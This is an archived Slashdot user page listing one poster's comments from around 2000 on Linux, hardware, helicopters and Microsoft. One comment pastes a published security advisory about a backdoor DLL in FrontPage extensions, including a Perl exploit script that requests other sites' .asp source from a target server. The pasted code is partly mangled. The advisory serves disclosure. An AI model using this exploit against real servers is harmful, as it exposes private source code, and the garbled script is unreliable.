Slashdot Mirror


User: HerrGlock

HerrGlock's activity in the archive.

Stories
0
Comments
282
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 282

  1. Re:ASP on Mason 1.0 Released · · Score: 1

    Sure, I'll give it a try. Would you mind providing a link to where I could find ASP support for Apache running on Linux boxen? Or Solaris, or HP-UX, or *BSD for that matter, I'm easy but I want my webservers to stay up without having to watch them every minute.

    DanH

  2. Re:It's all about the hardware set. on Is Tuxtops' Next Project Custom Disk Images? · · Score: 1

    I'm posting this on a Compaq Presario. WinModem is no good but a Xircom real-port 56K/10/100 card makes up for that. NeoMagic chipset is well covered now with XFree86. I really like this laptop and Linux works well on it since RedHat 4.2.

    That's my experience, yours might vary, though.

    DanH

  3. Re:What?!? on Publishing On Internet Patented · · Score: 1

    I just sent this page and comments to a friend of mine who happens to be a patent examiner.

    HerrGlock

  4. Re:Why not? on Microsoft Word Documents That "Phone Home" · · Score: 1

    You may want to read more about a UNIX filesystem. Networking and sockets are just more files in UNIX.

    http://w3.arizona.edu/ccithelp/sddocs/unix-intro .html

    4. UNIX Files and the File System: CONCEPTS

    In UNIX, everything is a file, and a file is simply a sequence of bytes without any particular structure.

    There are four basic kinds of files:

    ordinary files
    directories
    special files (also called device files,
    character files, or
    block files)
    links

    Ordinary files may be ASCII or binary. Special files are the interfaces for peripherals and other real and pseudo devices. One can open, read, and write on device files and directories just as
    with ordinary files, although the commands or system calls may be different for different file types.

  5. Would give a good presentation laptop on Dell Offering 1600x1200 Laptops · · Score: 1

    I use 1600X1200 on the desktop at work. This will allow a way to do presentations that look the same on the laptop as I see them on desktop. I hate having to go over it again just to see what has changed when I get down to 800X600. WOOHOO .

    Now, when are they in stock?

  6. Cow Farts on Water On The North Pole · · Score: 1

    I remember reading (no, don't have the link) about the methane produced by cows is a larger 'global warming' cause than man ever has been.

    But you're gonna need a bunch of BBBIIIGGG corks to do anything about it.

    HerrGlock

  7. Re:Forgot One Thing on Giant Linux Boost From Washington Post · · Score: 1

    "Then I installed it. It was actually much harder--and time-consuming--to install the new hard drive I needed to accommodate the second operating system than it was to get Linux going. The hard drive took two agonizing weekends and a number of calls to tech support. Putting Linux in the box involved slipping a CD-ROM into my PC and clicking a few on-screen buttons. The drive whirred, and the program handled the rest.

    After all the horror stories, to tell you the truth, it was something of a letdown."

    You were saying, about the author not having to install??

    HerrGlock

  8. WOOOOHOOOOOOOOO on Motif Released To The Open Source Community · · Score: 1

    Now we can merge lesstif and get some of this other stuff that runs well on Solaris but is a bit painful on Linux to run.

    YES, that means that's one fewer things to have to port at work to get Linux based software to give to the client.

  9. Re:How is a string backwards a backdoor? on Backdoor In Microsoft Web Software? · · Score: 1

    ----- UMBRA Advisory RFP2K02 -------------------------- rfp.labs --------- "Netscape engineers are weenies!" A back door in Microsoft FrontPage extensions ------------------------------------- Alf Serer / alf@at.clientlogic.com - rain forest puppy / rfp@wiretrip.net Table of contents: -1. The short -2. The long -3. The code -------------------------------------------------- ------------------------ "...we love a good conspiracy theory as much as the next person..." - secure@microsoft.com -------------------------------------------------- ------------------------ UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA UMBRA -------------------------------------------------- ------------------------ --[ 1. The short The NT 4 Option Pack ships with a particular ISAPI .dll in /_vti_bin/_vti_aut/ named dvwssr.dll, which is mixed in with the Microsoft FrontPage extensions (the version I have is 3.0.2.1105). This particular ..dll allows you to read .asp (and .asa) files under the web root, providing you know the 'password' (obfuscated encoding scheme) of which to ask it. And, as implied by the title, the constant key used in the encoding is "Netscape engineers are weenies!". I've been told that dvwssr.dll is a component of the NT 4 Option Pack, to be used with InterDev 1.0. Therefore deleting it will affect InterDev 1.0's 'View Links' function. Also, the default permissions don't allow for anonymous users to use the .dll--however, anyone with web authoring can, and I've seen few sites that have allowed permission (which is more due to a misconfiguration on their part). As Microsoft has told me, the immediate problem is moreso the fact that any developer of one particular virtual site can download the .asp code of other virtual sites on the same system. --[ 2. The long In the fairly recent light of Mr. Cuartango's finding of a backdoor in the authentication of Microsoft installation packages, Microsoft (secure@microsoft.com actually) stated to Bugtraq that the automatic acceptance of Microsoft packages is to "improve our customers' experience while downloading software from Microsoft web sites." Well, so let me relate how Microsoft has included an ISAPI .dll as part of the FrontPage extension package/Option Pack/Visual Interdev, to "improve a hacker's experience while downloading software from your web site". I was contacted by Alf Serer (alf@at.clientlogic.com), who indicated to me that dvwssr.dll looked like it was a backdoor, and that it contained the string 'Netscape engineers are weenies!'(although, it's found backwards in the .dll). Being the curious pup that I am, I decided to take a look. Using some prior research code attempts at cracking the encoding algorithm (herein referred to as the 'weenie algorithm'), I used a test ISAPI app Alf sent to figure out what the hell this thing was for, and what it is supposed to do. Searches on Microsoft's site said it was to 'verify URLs'. However, I could not find any references to it elsewhere, and even decompilation of the various FrontPage extension applications, FrontPage clients, and Interdev clients yeilded no calls or references to dvwssr.dll that I could see; however, I was later told that Interdev 1.0 requies this ..dll. Microsoft's site had dvwssr.dll down on the manifest for various FrontPage packages/installations. So, taking a peek at the .dll versions, I see that the other ISAPI .dlls that make up the core of FrontPage extensions are of version 3.0.2.1105, while dvwssr.dll is only 1.00.00.2503A. I would think that to mean it was recently introduced into the pack by Microsoft (if you don't know, FrontPage was an original program developed by Vemeer Technologies Inc; hence the _vti_ prefixes.) Granted, maybe it's possible that Vemeer engineers coded dvwssr.dll; but that means, upon acquisition, MS engineers left it in there. You would think some sort of Q&A and/or audit would catch it if it already existed... I'm not going to get into the exact details of the weenie encoding algorithm--after all, you have the code below. It's basically a 62 character slide-rule type of encoding. Luckily, from my auditing, this is not included with any other versions of FrontPage (including Unix), and in the versions I found it on, ACLs prevented its use (only System and Administrators were allowed full access); I was told by MS that only individuals with web authoring permission can use it, which is more than I had originally thought. But it's not as widespread as, say, RDS. ;) Regardless of it's actual purpose, or Microsoft's intent, I think the core interesting issue is that Microsoft literally coded (or allowed) a .dll who used a static key such as 'Netscape engineers are weenies!'. In any event, if you don't use Interdev 1.0, you can delete the file and call it a day. If you do use Interdev 1.0, well, it's your call, but I suggest an upgrade. --[ 3. The code #!/usr/bin/perl # dvwssr.pl by rain forest puppy (only tested on Linux, as usual) # # Usage: dvwssr.pl target_host /file/to/retrieve/source # use Socket; $ip=$ARGV[0]; $file=$ARGV[1]; print "Encoding to: ".encodefilename($file)."\n"; $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($fi le)." HTTP/1.0\n\n"; print sendraw($url); sub encodefilename { my $from=shift; my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnop qrstuvwxyz0123456789"; # # my $key="Netscape engineers are weenies!"; # # my $kc=length($from); my ($fv,$kv,$tmp,$to,$lett); @letts=split(//,$from); foreach $lett (@letts){ $fv=index $slide, $lett; $fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0); $kv=index $slide, substr $key, $kc, 1; if($kv>=0 && $fv>=0){ $tmp= $kv - $fv; if($tmp = length($key)){ $kc=0;} }return $to;} sub sendraw { my ($pstr)=@_; my $target; $target= inet_aton($ip) || die("inet_aton problems"); socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ select(S); $|=1; print $pstr; my @in=; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} --[ 4. The End I know this is short and not with it's usual flare. I apologize...I have been running around like mad, and basically don't have the time or energy to expend into this. :/ - rain forest puppy Special thanks to Alf Serer, the founder of this bug; also, special thanks to attrition.org (especially McIntyre) for helping me wrangle this. I'm currently in the UK, so if you have immediate questions, I suggest you send an email to Alf or the Attrition staff (staff@attrition.org). Catch me, along with Fyodor, Ron Gula, Ken Williams, Theo DeRaadt, Mary Roesch, and others, at CanSecWest, May 10-12 in Vancouever, Canada. More info at www.dursec.com. ------------------------------------- Alf Serer / alf@at.clientlogic.com - rain forest puppy / rfp@wiretrip.net Regardless if Netscape engineers are weenies, Microsoft engineers are definately pompous ----- UMBRA Advisory RFP2K02 -------------------------- rfp.labs ---------

  10. Countries other than US using MS for security stuf on Backdoor In Microsoft Web Software? · · Score: 1

    Does anyone still think the Brits are paranoid for not trusting closed source software developed in another country for use in their classified networks?

    I have no idea if this particular news item is true or not but the idea is there now and I wonder how many other "must be secure" type systems will think twice about closed source. If it was not developed by the country requiring the security and/or was not open source and downloaded and built by that country, how do they know what types of backdoors are in the software?

  11. Re:Ha! on WordPerfect Office 2000 For Linux Reviews · · Score: 1

    No, it's a full version. I've not seen anything other than fewer pics and fonts in the download version than in the $39.95 "personal" version.

    WP8.0 works great. Better than vi (if that's possible) for text.

  12. Re:I attanded the Corel WP 2000 roadshow on WordPerfect Office 2000 For Linux Reviews · · Score: 1

    I'm in the Beta program as well. One minor thing. With a fresh install of RedHat 6.2 and a fresh install of CorelDRAW/CorelPAINT it claims there is no font server running, tries to run it's own and then crashes with a "Program has encountered an error." message. I sent that in and have tried to get it running ever since with no luck. *sigh*

    Now that I've seen it's a wine app, I'm not quite as enthusiastic as I was. Native, please make this native. Is anyone at Corel listening? Or open source it :)

  13. Re:I still don't understand... on Asynchrony: Paid Open Source Hacking? · · Score: 1

    Yes, you DO "get it." The above post explains it very well.

  14. Re:Sure, but... on Censorship: It's Not Just For Web Sites · · Score: 1

    Okay, look at, and acknowledge there's a preview button. Addendum to last post. The military IS paid from taxes, the people are the employers, they do have a "right to know" but I don't think it leans as far as the news people would like.

  15. Re:Sure, but... on Censorship: It's Not Just For Web Sites · · Score: 1

    I was in Desert Shield/Storm. I tried to see both sides of the Journalistic points of view, both as a person who would pay if my position were to be given out and as a news reporter trying to tell what was going on. I came to the conclusion that both can be served. Give out all troop movement and other similar information, I mean ALL of it, 48 hours after it happens. All reporters get the same crack at hearing what's going on and operational security (OPSEC) is maintained more than if you have nosey reporters all over the battlefield. "No military plan has ever survived first contact" so nothing they report will be current and useful for future projections.

  16. Why copy to tape? on PS2 + Upscan Converter = Easy DVD to VHS Copying · · Score: 1

    I've got a Sony Video Walkman with a 3-1/2" LCD screen and an 8mm VCR built into. It takes camcorder batteries and one of the batteries will last about 2 hours. It plugs into a lighter socket in the car too. My kids watch movies on it in the backseat while we're on a trip. I've also got (now) an Apex 600 DVD player just because of the Macrovision deletion with that little TV in mind. I copy CDs to audio tape for use in the car, now I've got a travel collection of video tapes for use in the car. I only copy those I own on some media type, though. Now there's another way to do it. The more holes in the MPAA's story, the better.

  17. Re:Silly AC! Read before posting! on Latest Toy: One-Man Helicopter · · Score: 1

    Autorotation means putting the collective to the full down position and allowing the (now upwards vertical) relative wind create the power to get your blades up to speed so you have momentum at the bottom when you go to start your smooth and progressive deceleration, and create more momentum. When you pull initial you need every bit of that momentum and as much more as you can get to cusion it to the ground. "Real" helicopter blades are twisted from the root to the tip, some more than 3 degrees for two reasons, one so you do not get ALL your lift from the outer end of the blade (reduces coning and blade flexing) and two, so you have "positive" pitch in autorotation as part of the driving region of the blade. 6' blades - no momentum, no collective (fixed pitch) - cannot put the blades down to full flat pitch. No blade twist, no ability to get a driving region in the blades for an auto. You would have a driven and a stall region but no driving region. If you would like a deeper answer, please come over, I'm a helicopter instructor pilot with 1400 hours in them. I'll be glad to give you an aerodynamics class.

  18. Re:60mph is not top speed... on Latest Toy: One-Man Helicopter · · Score: 1

    120mph, about 112 knots, 6' blades, 900rpm, still no problem with retreating blade stall. 35' blades require somewhere about 200 kts before it's a problem. I'd imagine this one would be somewhere about 400+ knots. Things would fall off (like the pilot) long before the blades shread. I wonder what a full dive into a loop would do? Hmmmm.

  19. Re:The Major Problem... on Latest Toy: One-Man Helicopter · · Score: 1

    Stay underneath the overlying controlled airspace. 700' for most of the country (US) 1200' away from airfields and up to 10,000' for out West (where Class E begins.) The uncontrolled (Class G) airspace is made for weekend pilots who fly VFR/VMC only. Even if you're in controlled airspace, you would still come under the "no electronics, no radio" rules of gliders and ultralights. Stay the heck away from larger airfields (Class B) though. The larger the airfield the more likely there's a VFR procedure just so the ATC people do not have to talk to you. Stay in your lane and it's a piece of cake.

  20. Re:insurance. on Latest Toy: One-Man Helicopter · · Score: 1

    When I read the "No Sue-um" law, admittedly a few years ago, it was only for structures that have been in production for over 20 years. This has been on the drawing board since about DaVinci's time but this actual production would not be covered by that.

  21. Neat toy on Latest Toy: One-Man Helicopter · · Score: 5

    Someone already mentioned the lack of autorotational capability. Dual engines would almost be mandatory. Retreating blade stall would be a non-issue with 6' blades and a top speed of 60mph. Counter rotating blades have proven themselves already in a few designs out there. Nice "toy" but I wouldn't want to depend on it for my living. I'd much prefer a cage of some kind for minor things like birds and bugs (ever stuck your head out a car window @60 mph and gotten a bug in the eye or mouth?) The good thing it that it's MUCH cheaper than a Bell 206. I wonder how long it will take before it's regulated to death "for our own safety." Big ol' knobby tires might make roll-on landings more interesting as hovering takes a LOT of gas. "Honey?? All the other guys have one..."

  22. Re:Damn. Way too slow on IBM Creates New Fastest Beowulf Cluster · · Score: 1

    http://www.netlib.org/benchmark/top500/top500.list .html I wonder how many 486SX's it'd take to make that list. HerrGlock

  23. Re:This is interesting because... on Microsoft Trying To Look Open Source With CE · · Score: 1

    How about this for a punishment:

    The Federal Government, by continuing to accept bids by a monopoly for it's software and OS requirement, is also giving the message that it's okay to be a monopoly. There is no incentive to change if you are still getting millions of dollars from the very Government you are supposedly getting punished by.

    Here's my suggestion, no Federal contract for fiscal year 00 or 01 may include a Microsoft product. Six months, a year, whatever. That would send a definite message about the Fed's views of a monopoly.

    HerrGlock

  24. Re:My G2 player stopped working on RealNetworks Licenses MS Windows Media Codec · · Score: 1

    Check again. RealPlayer 7 is out in "beta" for Linux and I've been having a ball seeing all the RealMedia stuff that I've not been able to view before.

  25. Re:Offtopic? on Phantom Menace Pre-Orders Available · · Score: 1

    Let's see, a post about a pre-release purchasing of a movie, I suggest that due to the current law suits going on that I might be a bit reluctant to purchase said movie, and someone moderates me as 'Offtopic'? Is that the same person who moderates Natilie Portman getting hot grits down her petrified pants up to 3? Oh well, said my $.02 HerrGlock